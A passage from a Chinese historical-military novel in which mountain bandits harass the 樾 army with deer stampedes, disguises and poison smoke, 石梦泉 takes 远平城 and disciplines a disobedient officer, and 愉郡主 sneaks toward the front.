邱震霆眯着眼睛望望,五座铁索桥在呼啸的寒风里静默不动,像五条沉睡的黑龙一般,利爪牢牢地抓在悬崖两边。“狗儿,你说他们就花三天功夫就造了这些桥?” “是啊。”那被唤作狗儿的道,“统共也没几个工匠。” “奶奶的!”邱震霆低声骂,“这帮蛮子还真有点儿本事!” 狗儿道:“大哥,要不要想法毁了那桥?” “俺倒想。”邱震霆抓着下巴,“不过,那公孙先生传了程大人的意思,是要咱们兄弟尽量把樾人的兵力困在鹿鸣山。现在樾人才过来一万,这么早毁了桥,不就像钓鱼拉断了鱼线,后面的大鱼钓不着了么?” 狗儿吐了吐舌头:“大哥,一万人哪——可不是一百人!咱才一百多弟兄,一个要打人家一百个——一百个人就有两百条腿,光看腿的多少,就相当于五十头鹿——每人上来踹一脚,咱们哪还有命在?你还要再多引些过来?到时候满山的樾人比松树还多,那……” “去!”邱震霆拍了他一巴掌,“谁要你一个打一百多个了。俺只要你们一次打一个,每人杀满一百个樾人,今晚就算大功告成了——老三,你刚才猴急的样儿,这时怎的不办正事?” 遥遥听见“呦呦”两声——夜深了,鹿早已休息,这必是猴老三模仿的无疑。既而又传来“嗷嗷”两声狼嚎,像有尾巴贴着人的脊梁骨扫过去一般,人人都起了一身鸡皮疙瘩。没多时,树林中就传出稀稀落落的蹄声,渐行渐响了,隆隆地好像连山都震动。 杀鹿帮帮众皆屏息静默。等了一会儿,听前方树林中一阵骚动,有人叫道:“不好了,楚军夜袭了!”接着亮起零星的火光,照出许多骚乱的影子,兵刃的寒光在其间闪闪。 杀鹿帮帮众依然不动。那骚乱持续了一会儿,听人咒骂道:“奶奶的,哪儿来这么多畜生?”又乱糟糟地命令熄火。火把便相继灭去。鹿蹄声渐远,林中除了风声即是死寂。 “他奶奶的!”邱震霆低声骂道,“这伙樾国蛮夷靼子倒机警,比冷千山那草包的队伍强得多了,有点儿难对付——老三!老三呢?” “在这儿!大哥!”猴老三在旁边应声。 “再多吓他们几次。”邱震霆吩咐,“不怕他们不累垮了!” 猴老三点点头猫腰去了。众人静等了一盏茶的功夫,另一边的树林里一阵山响,鹿鸣狼嚎混杂,间或也有虎啸——不过杀鹿帮众人在这山里呆久了,知道此间没有老虎出没,必是猴老三的杰作。 仓皇的鹿群再次朝着樾军的营地闯去。照样引起了一阵混乱。有人点起了火把,有人大骂这山古怪,连畜生都古怪,紧接着火把熄灭,人声消失,只剩下梅花鹿狂奔的蹄声。 “他奶奶的!这帮老小子还真厉害!”邱震霆骂,“老三,再接着吓他们!” 猴老三何用吩咐,早已去了。管不着凑到跟前来道:“大哥,樾人奸猾,咱们得比他更奸猾,何不——”附耳窃窃了一番。 邱震霆道:“这行得通么?都扮成一个模样,不怕自己人杀自己人?” 管不着道:“那哪儿能?咱们统共带了一百二十个弟兄来,大家长得啥模样闭上眼睛都晓得。到时候混了进去,见了生人就杀,又有老三的鹿群掩护,怕什么?” 邱震霆一想,倒也不假,便道:“好,交给你办。” 管不着啧啧一笑,迅速地消失在黑暗里。 猴老三对付百兽就像吆喝自家孩子一般,让朝东就东,让朝西就西。鹿群才闯过樾军营地没多久,又被他驱了回来,呦呦乱叫着在军营里践踏了一番。但这一回,樾军几乎无人点起火把来,偶尔有几声埋怨,也迅速地安静下去。待他第四次、第五次驱赶鹿群时,樾军大营就仿佛无人驻扎一般,悄然无声。猴老三不禁心中骇然:这是什么军队,难怪连程亦风都头疼! 而就在这当儿,管不着也起起落落又回到了邱震霆身边,他被上背了一大捆樾军的战衣,但身手利索,头发也没乱一根。到得跟前,他就低声叫道:“鼠儿,牛儿,虎儿……”每叫一个,就丢一件战衣过去,一直叫了十二个人,“你们十二小魔星穿上樾人的衣裳跟我来——听你们三哥一赶鹿,就混到营里去,拣离你们最近的樾人杀了两三个,剥了衣服带回来给弟兄们。懂了没?” 那“十二小魔星”乃是按照十二生肖排的名,是帮里身手第二仅次于五大当家的,在旁边干等了这半天,早就手痒了,全都点头不止。三下五除二换上了樾军的战衣,正好听到猴老三赶着鹿群再次闯过,便都随着管不着混进那骚乱中。 他们拣着靠军营边缘歇息的士兵动手,干净利落,又有鹿蹄声掩护,转眼就结果了不少樾军。拖到林子深处剥下战衣来,竟似神不知鬼不觉。 每多一件战衣就多一个杀鹿帮的弟兄加入到偷袭的行列。其效仿似滚雪球,雪球越变越大,增大的速度也就越来越快,没一顿饭的光景,杀鹿帮已全体加入了偷袭的队伍——邱震霆自己不愿意穿樾人的“牢什子”衣服,仗着骁勇,手起刀落,毫不含糊。 樾军也发觉有些不妥:山上若没有古怪,何以梅花鹿要狂奔个不停?有人又擦亮火褶子看个究竟——这一看不要紧,正见一把大刀照着自己头顶斩落,不由大叫一声:“哎呀!”后面的还没出口,已经一命呜呼。 这声惨叫引来了同伴的注意,刹那又多亮起了几点火光。惊起的樾军士兵瞪大了眼睛搜寻敌人的下落,可除了鹿群之外,并看不出什么异常。正面面相觑,突然后颈一疼,脑袋都搬了家。 这营地驻扎的是罗满所率的五千人马。罗满虽然是征讨馘国时才分到玉旈云帐下,但之前刀林箭雨里摸爬滚打了十来年,并非等闲人物。这时他也点起了火把来,看四周——黑暗时分明听见兵刃划空之声,可火光中并见不到楚军的踪影。 怎么如此诡异?他皱起眉头,猛听见脑后一阵劲风,忙侧身闪开,就见一个我方装束的兵丁手持钢刀朝自己砍过来。罗满大惊,抽出配刀将敌手的凶器荡开了,跟着反手一挥,直劈那人胸膛。那人一愕,翻身一个筋斗朝后纵去,混进鹿群与人丛中,顷刻就没了踪影。 是敌人混入军中!罗满“唰”地抽出腰刀,瞪圆眼睛注意这四周——可是这五千人多是从死去的赵临川那里收编来的,和罗满并不熟悉。就算是原来自己的部下,也不可能都认得。黑暗之中,如何分辨谁是敌,谁是有?加之奔跑的梅花鹿,奔跑的兵士,光影乱晃,看不分明。 倒不如先杀了这些畜生,好歹落个视野清净,也叫敌人失了掩护。他想,反正已经被发觉了,也不怕闹得更大些。要是再有楚军来,大不了拼了——就不知石将军那边情形如何? 境况不容他多想,挥刀大喝一声:“将士们听令,杀鹿!统统杀光!” 樾军本乱了阵脚,骤然听到统帅号令,精神都为之一振,纷纷拔刀斩鹿,一时间,哀鸣满耳,梅花鹿的尸体堆了满地,血腥味浓得叫人几欲作呕。 杀鹿帮的人土匪出身,并不像樾军那般纪律严明,对统帅言听计从。况且,他们只按邱震霆和管不着的指示混进营中来杀人,完全没考虑樾军会有什么应对之策,是以对罗满的命令充耳不闻,有些还趁乱挥刀朝樾军袭去,被罗满一眼看见。 “好奸细!”他怒喝一声,手起刀落,直将那杀鹿帮帮众劈成两半。 邱震霆恰在不远的地方,看到兄弟牺牲,怎不痛心疾首。把刀一扬,跳出来找罗满拼命。罗满看此人装束古怪,并不像是楚军,但又吃不准是否楚人假扮,一边横刀应对,一边喝问:“你是什么人?” 邱震霆刀劈连环:“樾国的蛮夷狗鞑子,你管爷爷是谁?敢到爷爷的地盘上来撒野,就叫你们有来无回!” 说话如此粗野,不像是军中之人!罗满又闪开他几招去,也进手还击。与邱震霆兵刃相交,虎口被振得生疼,他心中不禁惊道:这人好大的力气! 邱震霆略占了上风,手上招式愈快,直逼得罗满透不过气来。 而罗满知道自己是一军统帅,不能只顾着和一个敌人缠斗,要时刻把握大局,发号施令才行。因此他也就不急着还手,且战且退,一瞅到脱身的时机,就将左手火把照着邱震霆的面门投掷过去,趁邱震霆闪避之时,连连朝后纵开丈许,脱离了战团。 邱震霆待要追上,旁边却有人拉了他一把。他回身看,原来是管不着。“大哥,再这样下去,咱们的弟兄就要露陷了,闪撤出去为上!” 邱震霆并不是莽夫,听他一讲,再看看四周——不少杀鹿帮帮众只顾着偷袭樾军,难免被樾军发现。即使头一个被他们偷袭成功,他们自己的行藏也暴露,旁边的樾军一拥而上,他们便陷入苦斗之中。 这样下去难免全军覆没。邱震霆当机立断,打了个呼哨,砍倒两名樾军,救下了危急之中的狗儿,率先扑进漆黑的树林里。管不着和其他帮众也都跟着,杀开一条血路,撤出樾军营地。 樾军被戏弄了大半夜,伤亡甚众,怎能就此罢休?不少兵士都怒喝着朝林中追去。但罗满呼道:“站住!不许离开营地!小心有埋伏!”众人这才从盛怒里渐渐冷静下来。 “罗副将,现在要如何是好?” 罗满拄着刀,从密密层层的松林里,看不清山谷中的远平城,但城头的点点火光并没有一丝的骚动:莫非石将军还没有攻城么?莫非石将军也遭了暗算么?心里无数不祥的猜测,但为了稳定军心,他一句也不能出口。 “哎呀!”人群中一声惨叫,“贼人敢偷袭?” 话音未落,“呛呛”几声兵刃相碰之声,既而又是一声惨叫,显然是有人命丧当场。 才刚刚安静下来没一刻的樾军营地又陷入混乱。听一人叫道:“都站住了,谁拿刀砍人的,谁就是楚国奸细。” 此话一出,果然有点效用,众人都僵住身子不动。但才眨眼的工夫,某个角落里又响起了争斗之声,士兵们你撞了我,我撞了你,互相疑是楚国奸细,顷刻乱成一锅粥——本来樾军编为一路一路,路下又分为许多小队。每个队中才二十人,自能互相熟识。可经方才鹿阵一搅和,早就乱了队列,周围的面孔或是全然陌生,或是似曾相识,谁也不知道对方究竟是敌是友。 罗满不愧久经沙场,这时候也不乱方寸,紧皱着眉头思索了片刻,就得出了问题的症结所在。“第一路,第二路,第三路,第四路——”他指着东西南北四个不同的方位,“全部给我收起武器,立刻列队!” 兵士们本来混战争斗。但军令如山,便陆续收手,走到自己的位置上——这时许多人才发现,方才与之拼命的是隔壁路的战友,甚至还有同一路的弟兄,心里又是愧疚又是骇异:楚军如此狡猾,竟让人自相残杀! 罗满下令各营清点人数,让百夫长、十夫长负责,见到面生的,立刻拖出来。那些百夫长、十夫长朗声答应,士兵们全都一个盯着一个的后脑勺站好,等着验明正身。这时候,丝毫的动静都十分明显——罗满依稀看到条黑影在第三路的后面闪过,便厉喝道:“什么人?”同时自己挥刀直扑了上去。 “哎呀,是老四!”林中埋伏着的管不着沉声惊道。 “我去救他!”邱震霆起身欲去。 “不行!”管不着拉住他,“大哥杀得了那一个指挥的,还能挡得住几千樾人?出去就成活靶子了!” “可是……”邱震霆怎能眼睁睁看着兄弟送命? 正焦急时,忽然见另一条人影一闪,跟着“砰”地一声巨响,滚滚浓烟腾起,十几丈之内都不可见物。待烟雾散去了,便见辣仙姑拽着大嘴四朝众人隐身处奔来。 邱震霆没得又惊又喜。猴老三看妻子无恙也开心异常:“你们的事办妥了么?没出岔子吧?” 辣仙姑白了他一眼:“你以为人人都像你么?办这点儿小事也会出岔子——大哥,这里不是久留之地,咱们先撤再说。” 邱震霆点点头,将这命令低声传了下去。杀鹿帮的一众好汉就又沿着来路向山坳里走。 约莫一里地,确信罗满不可能追来,才又问辣仙姑半山偷袭的经过,以及他和大嘴四何以不按约定回山寨等待,而是跑到山顶来会合了。 辣仙姑道:“我和四哥遭遇那个姓石的将军,这小子模样看起来老实巴交,内中却其实不简单。居然能把鹿群给化解了,还利用鹿群的掩护埋伏到金鼎峰上去——其实我和四哥都被他识穿了——连美人计都不顶用……” “你……你向那小子施美人计?”猴老三一蹦老高。 辣仙姑道:“怎么?老娘就不是美人了么?美人的计策当然就是美人计了——这小子的心像石头似的,真难怪他姓石了。开始竟连正眼也不看老娘,就把老娘的嘴堵上。后来四哥也被抓了。不过好在咱们就是去放毒烟,他抓不抓咱们都一样。” 大嘴四接上:“他们打算天黑攻城,咱们就在天要黑没黑的时候把烟给放了——不过只能顾着他这一边。他派去金鼎峰那边的人,咱就实在熏不着了。也够本啦,那边的人真的打到远平城,还怕远平的守军不收拾他们?” 管不着听了笑道:“不错,不错。当兵的有军饷,当官的吃俸禄,打仗杀敌是天经地义的事。咱兄弟们帮他们这么多已经够对得住天地良心了,他们好歹也该做点儿事。” 但邱震霆却阴着脸:“程大人拜托咱们做的事,咱们怎能马虎。有个什么差池,俺也没脸面在江湖上混下去啦。” 辣仙姑道:“大哥别急。程大人对咱们有恩,咱们当然不能敷衍了事。只不过金鼎峰那边,实在是鞭长莫及。这些樾人很是厉害,我也是担心会出乱子,所以才和四哥到上面来看看,有什么能帮上忙的。” 大嘴四道:“正是!我和老五上来时,正见你们把这些混帐耍得团团转。你们杀了他们总有快五百人吧?那他们还剩四千五百多呢!他们人多,咱们人少,杀到刀钝了也杀不掉多少。我想,还不如叫他们手忙脚乱,自己杀自己,所以就混到队伍里……” “混到队伍里,差点儿没了命!”猴老三打断他的滔滔不绝——对这个旧日情敌,他多少还有点儿介怀。 大嘴四缩了缩脖子——人家讲事实,他也不好反驳。 邱震霆道:“好啦。废话也不用多说。先回去看看那个什么石将军被你们毒得怎么样了。要是半死不活,咱就正好见一个杀一个,送他们上西天。接着咱再上金鼎峰那边去查探查探,看看有什么法子把那边的樾人也消灭掉。总是不能叫程大人失望。” 众人都称“是”,便继续朝山腰石梦泉的营地处潜行。 那里是黑黢黢的一片,老远就闻到毒烟刺鼻的味道。杀鹿帮众人自是不惧,个个从身上取出块帕子来,又打开个小皮囊倒些早已准备好的鹿溺浸湿了,蒙在口鼻之上,继续前进。 又走得不远,已经快进入营地了,辣仙姑却一抬手,示意大家停下来。 猴老三道:“娘子,做什么?” 辣仙姑低声:“不对呀,我这次放的毒烟足要有两个时辰才会散。怎么连咳嗽声也听不见?” 管不着道:“难不成这些樾人身子虚,经不起熏,全翘辫子了?” 辣仙姑摇了摇头。邱震霆也没心思玩笑,他刚才跟罗满交手,已经领教了樾人的功夫。“大伙儿警醒些,端好家伙——见人杀人,见鬼杀鬼!” 众好汉自然也都不敢怠慢,架着兵器,蹑手蹑脚地继续前进。片刻,进了营地里,大家在黑暗中勉强四下看,却不见半个樾兵的人影。 怪了!人人心里都犯嘀咕。 便豁出去了!辣仙姑打着火褶子。只有一星儿亮光,照着巴掌大一块地方,没有樾人。邱震霆点着火把,照着四周围一圈儿—— “难道还能飞了?” 石梦泉当然不会飞,实际上,他被辣仙姑的毒烟熏惨了。 那种刺鼻的酸臭味让他两眼流泪不止,胸中疼痛,几乎窒息。他听到周遭都是士兵痛苦的咳嗽声,知道中了敌人的奸计,心里便浮起一丝绝望:我也许真的不能活着回去见玉将军了! 但这种想法只控制了他一刹那。玉旒云交给他的任务,不拼到最后一口气,不能停歇。他屏住呼吸,紧握长枪勉强站立着,强迫自己冷静,思考对策。 记起前年有一次和玉旒云在庆王府的藏书楼里看书,突然周围浓烟滚滚,失了火——时逢仁宗皇帝立储,仁宗无子,属意养母全太妃的儿子庆王。但宜太妃的儿子泰王也觊觎储位。看到仁宗一天天定下心意,便起歹念,派人到庆王府行凶。未料庆王夫妇出门理佛去了,一把火只困住了玉旒云和石梦泉。当时火苗从一楼窜上来,浓烟呛得他们无发呼吸,更睁不开眼睛。情急之中,石梦泉将罩衣放在鱼缸里浸湿了,披在两人身上,这才将烟火隔开去,得以安然逃出。 用水,用湿帕子盖着脸?他想起这一个法子。可是应该行不通,此烟不同于彼烟,若是毒物吸到水中,用以覆面,岂不是自己毒杀自己? 那该如何?胸中一阵恶心,脑海也开始混乱。记忆里,他拉着玉旒云跑下化为火海的楼梯——那以后,他还拉过玉旒云的手吗? 跑下楼梯。 下——是了,烟雾轻飘无力,都是上升的,只要朝低洼的地方走,就可以脱离毒烟的控制! 想通了这一点,他的精神也为之一振,高声令道:“快,往山谷里撤。传令下去,往山谷里撤!” 士兵们这时虽然乱了阵脚,但依然严格听令,但有小卒听到的,立刻就朝山谷里去,但有十夫长、百夫长、督尉听到的,便去传令。前后不过一顿饭的功夫,三千人都撤到了山谷里。众人虽然都还有些头晕恶心,但眼鼻刺痛都减轻了,呼吸亦顺畅了许多。 有人来向石梦泉报告:“是中午抓的那对男女在作怪,他俩已经逃走了。将军,要不要派人追?” 石梦泉抬手,示意不必。敌人使用毒烟,无非是想扰乱我军进攻计划。他们大概满以为今夜的夜袭将就此泡汤,但石梦泉偏偏就要按原计划行事,打他们一个措手不及! 只是,他不可以再回到白鹿峰上进攻。为今之计,只有从正面攻城了。 愿上天保佑!他心里默祷一句,令整肃队伍,朝远平城进发。行至距离城下约一里地时,令擂响战鼓,布开阵势,向远平守将叫战。 远平守军日日把眼盯着河对岸的锁月城,生怕有不怕死的樾人会渡河而来,却哪里料到敌人从天而降?城楼的哨兵屁滚尿流地跑去把状况报告给火炉旁的游击将军,后者着急忙慌地从城北把人马调到城南来,弓箭手拉弓放箭——而樾军都在强弩之末处,箭矢伤不得他们分毫。天色如此昏暗,城楼的灯光照不了多远,因此也看不清樾军究竟有多少人,所见只有他们严阵以待的样子,游击将军可慌了神:樾军的意图,莫非是要将城困死,直到粮绝么? 石梦泉就是要他们乱。他吩咐靠近山坡的士兵砍伐松树,就地制造攻城梯,同时留心寻找特别粗壮的树木用作撞击城门之用。 这些兵士被毒烟侵害,都憋了一股窝囊气在胸中。体味着石梦泉的一系列命令,觉着大约是要硬碰硬地打一仗了,都有种要出口恶气的愿望,干劲十足。松树一排排倒下去,好像有把大刀在将白鹿峰和金鼎峰的山坡切萝卜一般一片片切下来一般。看得那城楼上的远平守将一个哆嗦接一个哆嗦,仿佛自己也被刀削了似的。 石梦泉指挥手下忙碌了大半个时辰,看远平守军越来越多地聚集到南边的城墙上来,个个都带着草木皆兵的神色,他估摸时机成熟了,即令信号兵道:“向天发射火箭,让赵酋带队攻城。” 士兵得令,立即照办。一点艳红划破夜空。石梦泉同时也命令部下:“盾牌开道,准备攻城。” 山谷里并不宽敞,樾军一字排开只得二十人。于是站成四百人方阵,以盾牌保护依次向远平城门挺进。远平守将只依稀看到下面黑压压的一片,两腿直发软,亏得嗓子里还能哼哼出声音来:“放箭!还不放箭?” 城楼上的士兵都傻愣愣的:远平这自古的险关,多少次让强敌葬身大青河中,可还从来没有在屁股后头叫人攻打过。临河的那一面,悬崖峭壁,城墙又有九丈高,敌人纵有攻城梯也休想爬上来。而南面山谷因是后方,城墙只有五丈高。樾军来势汹汹,仿佛单凭整齐的脚步就能将城墙震塌一般。守军的心里只一个声音:完了! 半晌,才有一个人反应过来,该全力一拼,拉弓朝樾军猛射。其他人也就陆续惊醒,纷纷弯弓射去。然而,樾军用盾牌保护得严实,箭矢只能减慢他们前进的速度,却不能阻止他们。没斗得一顿饭的功夫,樾军已逼到了近前。 石梦泉让把砍下的松树抬来,架到城墙之上。鹿鸣山里因为居住着梅花鹿这楚太祖亲封的“山神”,几百年来,既不准刀耕火种,也不准开山伐木。这些古松都有七、八丈高,一靠到城墙上,立刻就搭上城头了。加上树冠枝叶茂密,顶到了远平守军们的面前,就像是一张大网,不仅视野被遮蔽,连箭也射不出去了。守将急得大叫:“快,快拿刀砍!快把这树给我推下去!” 城楼一团忙乱。而下面樾军战士却摩拳擦掌,当先的已经等不及就要攀树而上。 “等……”石梦泉想叫住他们——这样正面进攻,看局势虽然不会失利,但必定会造成不少伤亡,其实他们只要吸引了楚军注意力,等赵酋的人马从边上攻进,就可轻易地取下此城。不过,赵酋现在如何了?有没有得手,能不能得手,还要多少时间? 境况不容他多想,看到一支乱箭飞来,年轻的士兵牺牲在他的眼前。他只一个选择——将长枪朝背后一插,把自己的那面 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更多樾军杀上城来,个个英勇。然而楚军到了生死存亡的关头,人人都豁出去了,拿出了拼命的打法,全然“杀一个够本,杀两个有赚”,抄着兵器一通胡劈乱砍,樾军稍有疏忽,立刻轻则断了胳膊,重则掉了脑袋,占不得什么便宜。 石梦泉看在眼里,痛在心里:太慢了,太长了……他觉得世界在渐渐变暗,仿佛城楼的灯火一盏盏熄灭似的。 该死的!他狠命晃了晃脑袋。 “将军当心!”身边一人叫道。 是叫我?反应过来时已迟了,手臂上一凉,跟着是火辣辣地疼,他踉踉跄跄朝边上闪开几步。伤口血流如注。不过,这一疼,头脑反而清醒了些,视野也不那么模糊了——看清了那个砍伤自己的楚兵,横枪扫了过去,力道之猛,立刻将那人拂下了城楼。 便这样又战得片刻,胸中忽如翻江倒海般地难受,一股腥甜直冲上喉头。他只觉眼前猛一黑,险些栽倒下去,但心底一个声音道:不能死,还没到死的时候!又强自支持着,挺起身来。 恰此时,听到楚军中有人慌乱地大叫:“不好了,樾军又从河边上攻来了!” 楚军自然是惊声一片,但石梦泉也好是奇怪:莫非听错了?河边?不是金鼎峰么?他又再细辨,却只有楚人的嚎叫:“爷爷的,今天就跟这些蛮夷龟儿子们拼了!”“对,反正他们一时半刻也爬不上北面的城,先杀光这些龟儿子再说!”一时喊杀更甚。 不对!不对!石梦泉觉得耳边隆隆轰鸣:怎么会是河边? “不好了!不好了!”这时又是一阵嚷嚷,“樾军又从金鼎峰那边……”话音还未落,已经转为一声惨呼。 “将军!卑职来了!”正是赵酋的声音。前锋营的将士飞扑而来,有如巨浪拍岸。 “开……开城门!”石梦泉凝集着最后一丝力气。 “已经开了,将军。”赵酋回答,“咱们的人已经进来了,这城已是咱们的了!” “哦——”石梦泉一笑。 ——是的,就在罗满被鹿群折腾得苦不堪言时,远平城已经落入了樾军之手。只是他们没有庆功,连欢呼都没有—— 石梦泉只这么一笑,就“咕咚”倒了下去。 到醒来的时候床边只有医官和赵酋等一干将士。 “将军连日操劳过度,已染风寒,又被毒烟侵害,以致肺气壅塞,血脉瘀滞,心阳不振。下官已落了方子,请将军静心调养……” 石梦泉哪有这个心情,撑起身子就要下床,可两臂虚脱无力,还没坐起来,又倒了下去。赵酋扑到跟前来扶住了,道:“将军当心。不用忧烦军务,远平城已全然在我军掌控之中。卑职也依将军的吩咐,令全军换上楚军服饰,不事声张,万一楚国有援军来到,也不晓得实情如何。” 石梦泉勉强点了点头:“报告给玉将军了么?” “没有。”赵酋道,“军报已写好了,等将军过目用印。” “拿来我看。” 赵酋把信举到石梦泉的眼前。他大略地扫了扫,看到自己病情那一段,即道:“不要说我的事,删了这段。” “但是将军——”赵酋本来想争辩,但一想到与石梦泉理论,就是耗费石梦泉的精力——病人如何经得起折腾。他便转口应道:“是。” 石梦泉又接着往下看,有请示“罗满后援军如何部署”的。他就道:“这事不要麻烦玉将军。她人在锁月,怎么可能晓得这边形势?你给我另外修书一封,传与罗副将,让他下山来,埋伏到西行的道路上。如楚军来援,必经此路。” 赵酋又应“是”。 再接下去,石梦泉见提到“锁月总兵岑远及时援手”,吃了一惊:“他不是回石坪城解围去了么?怎么在这里?” 赵酋道:“岑总兵没回去。他带着人马夜渡大青河。昨天夜里咱们在城南和城西同楚军周旋时,他从城北进攻,楚军阵脚大乱。咱们就彻底将他们歼灭了。” 石梦泉的面色由苍白变得铁青。赵酋知道出了岔子,但并不晓得错在何处。 “岑远在哪里?”石梦泉哑声问道,“立刻带他来见我!” 不时,一个青年军官就走了进来,虽然脸上有昨夜战斗的伤痕,但已经换了干净的便服,在满屋尘灰烟火的战衣里,他显得无比清爽,有种贵胄子弟的气度——这就是岑远了,石梦泉想起,这人是原来馘国地方现在西方六省的总督岑广的侄子。岑家人丁单薄,岑广无子,这个岑远就是岑家将来的继承人,难怪与其他军官不同。 岑远走到石梦泉床前,方要问安,石梦泉却沉声喝道:“岑总兵,你为何不守玉将军的命令?” 岑远愣了愣,道:“将在外,君令有所不受。就是说将领行军在外要根据形势灵活判断——既然君令都可以不受,何况玉将军的命令呢?我觉得玉将军让我回师石坪完全是个错误。” 石梦泉皱眉盯着他。 岑远颇为得意地说下去:“楚军只派一千民兵占领石坪,明摆着就是等我军回去救援时,他们主力大举渡河包围我军。我五千人如此前去,等于是自己走进楚人的圈套。相反,远平是楚国重镇,我助石将军把他攻下,这样我军和楚军就扯平了。楚人阵脚大乱,哪里还有功夫进攻许县?” 这人倒是有几分小聪明。石梦泉想,不过他却并不明白玉旈云的全盘计划——玉旈云需要借助刘子飞和吕异的兵力,才可能一举攻下楚国。在她和刘、吕二人周旋妥当之前,必须确保远平不失,所以最好就是不让楚军知道远平易主的消息——如此以来,根本谈不上拿远平来乱楚军的阵脚。如今岑远不照计划去收复石坪,等于是帮助楚人乱樾军的阵脚——石坪成了贴在后心上的烙铁,随时会给玉旈云带来麻烦。 岑远见石梦泉不说话,还以为他同意自己的说法,愈加得意:“石将军有病在身,不必太操劳了。其实军中的事交给我暂时处理也行。我十岁起就跟着叔父学习兵法了呢。” “不必了。”石梦泉冷冷道,“我的病没有什么大碍。远平城的军务玉将军交给我负责,我就是这里的统帅。我的军阶品级皆高于你,所以你要服从我的命令。” 岑远自持出身将门,在军中无论到了何处遇到何人都会给他几分面子——玉旈云乃是皇亲国戚又坏脾气出了名,她毫不客气地发号施令,岑远也就忍了。如今这个石梦泉,无非玉旈云的跟班而已,竟敢这样和自己说话,怎不让人发怒? 不过岑远还没来得及发作,石梦泉又接着道:“我虽然从不要求部下对我自称‘卑职’,不过对于擅做主张视军令于无物的,我也决不姑息——岑总兵过去没有和我共事过,如今既然来到我的军中,就要习惯我的规矩。” “你——”岑远的脸涨得通红。其实他不知道,要是换了别人违抗军令,也许石梦泉早就军法处置了,这还是因为顾念岑广是几位老将中唯一未和玉旈云交恶的人,恐怕坏了这关系,则格外法外开恩。 “赵督尉,”石梦泉道,“远平城的防务与巡查暂时交你负责——这封给玉将军的战报,就按照我方才说的重写。待我用了印,就火速传给玉将军,也好让她对石坪的事有所安排。” 赵酋早也看着岑远那嚣张的态度不顺眼,听石梦泉下了这个命令,立刻答应,还向岑远做了个“请”的姿势,直把他赶出了门去,然后才去完成战报。 可想而知,河对面的玉旈云接到这份战报,气得恨不得将岑远碎尸万段然后丢下飞龙峡去喂鱼——楚国的土地,良田千顷,鱼米之乡,还有那错落的屋宇,绵延的宫殿,以及……仇人……都在触手可及的地方,偏偏叫岑远这混帐…… 刺骨的寒风冷却她盛怒的头脑。这只不过是一着棋失利罢了,玉旒云想,悔之无用,倒不如想想补救的法子——而最简单最直接的,就是她亲自带领士兵打闪电战收复远平,并且按照原计划邀请刘子飞和吕异联兵伐楚——只要远平牢牢握在手中,刘子飞和吕异两个贪功小人绝对不会放弃大好机会…… 石梦泉为她拿下的远平城,她要好好利用! 嘴角不禁露出一丝笑容。梦泉,你说是不是?朝身边望望,虽然这个生死相随的伙伴不在肩侧,但感觉他从来没有离开过自己。 你就帮我好好守着远平城!我现在就去写信给那两个该死的老家伙!他们虽然可恶,但借他们的手,我们就可以一举攻下楚国……她的笑意更深了,反身下城去。 正有个小兵在先面侯着她。 “将军,出大事了。” 还能有什么大事?玉旒云定了决心,就有与天斗的豪气,再出什么事,也惊不倒她。 小兵神色古怪,结结巴巴:“是……是……” 话还没说出口,后面一声不耐烦地娇喝:“到底要我等到什么时候?石梦泉上哪里去了?”竟是愉郡主这磨人的灾星! 玉旒云皱起眉头,怒视着小兵:“关防重地,怎容闲杂人等出入?” 小兵不待答,愉郡主先开了口:“玉旒云,你别胡乱骂人。本郡主是奉了太后的懿旨来送东西给石梦泉的,不是闲杂人等。不信你看——”她还真的拿出一封懿旨来了,显然是上回“奉口谕”吃了亏,这次特地带文字为凭。 玉旒云根本懒得理她,自然也不看那懿旨。愉郡主就把头一扬,脚一跺,招呼身后一如往常跟着的娇荇道:“你念给她听。” “够了!”玉旒云喝止。“你——”她令那小兵,“立刻带几个身手好的,护送郡主回京。” “遵——” 小兵才说了一个字,又被愉郡主打断:“玉旒云,你敢抗旨?” 玉旒云冷冷地眯起眼睛,一撩披风,露出了腰间明黄色的腰带——这显示了她在此的地位,一切有关军务,她不用和任何人讨论。 愉郡主已经领教过几次玉旒云的“专横”了,虽然有心发作,但一想,远道来此,真被玉旒就这么赶了回去,实在不值,倒不如忍一时之气,先留下来站稳脚跟再说! 她于是换了口吻,小心翼翼道:“其实……我也没打算呆多久。这是石梦泉的娘给他做的新棉衣,我见了他,交给他就走。” 哦?玉旒云瞥了一眼,果然,娇荇手里抱了个大包袱。 “那就请郡主就放在这里吧。”她冷冷道,“梦泉带兵出去了,一时半刻不会回来。见到了他,我自然替郡主交给他。” “带兵出去?到哪里?是不是很危险哪?”愉郡主急急问。 玉旒云蹙眉不答。娇荇也连忙捅捅她的胳膊,示意她别失态。愉郡主反应过来了,脸微红,道:“不就问问嘛,他要是有个三长两短,就穿不上这棉衣,我……我也就不好交差啦!” “郡主!”娇荇这次急得小声嚷道,“前线战场,说不得这不吉利的话!” “哎呀——”愉郡主慌忙捂嘴巴。 可玉旒云连看也不愿多看她一眼,只吩咐那小兵道:“留下棉衣,送郡主回京。”便径自去了。 小兵就战战兢兢地来请郡主“移驾”。愉郡主只顾撅着嘴冲玉旒云的背影做鬼脸,发泄够了,才朝那小兵嘿嘿一笑,满是威胁地道:“石梦泉上哪里去了,快说出来,不然,小心你的脑袋!” 14. 第 14 章 黑夜沉沉,仙女峰上的积雪被风吹起,银屑乱舞。负责守桥的士兵既冷又累,眼皮直打架,可又不敢有丝毫的懈怠:这是要道,楚人随时可能发现,也许会攻过来,也许会毁掉,让攻打远平的将士真正成为“过河卒子”。 这士兵打了个呵欠,揉揉朦胧的眼睛,看到山路上窈窕婀娜走来一个人——是眼花了么?他拼命瞪大两眼。没错,那就是个女人,行到跟前时,见她生得俏丽妩媚,嘴角一颗小小的美人痣,更显伶俐动人。 “姑娘,你是?” 这姑娘嘻嘻一笑:“我是来给军爷送暖身酒的!”说着,提起一只小罐来晃了晃。 玉旒云治军甚严,行军在外要求滴酒不沾。这士兵理会得将军的厉害,即使美色当前,也不敢违纪。他摇了摇头:“姑娘,你是哪里来的?怎么跑到山上来?” 姑娘不答,只是笑,笑得比酒还淳,笑得这士兵骨头都酥了,却突然颈后一疼,咕咚栽倒在地。 “哎呀!”她叫了一声,“我的好郡主,你打死他了!” “没!”从阴影里转出了愉郡主来,穿了一身黑衣,好像江湖女侠,手里持着一根杯口粗的木棍,显然就是打晕士兵的凶器了。“大惊小怪什么?连这点儿小事都不敢做,还敢陪我上前线来?再说了,要不是你没法骗他喝下蒙汗药,犯得着脏了本郡主的手么?” 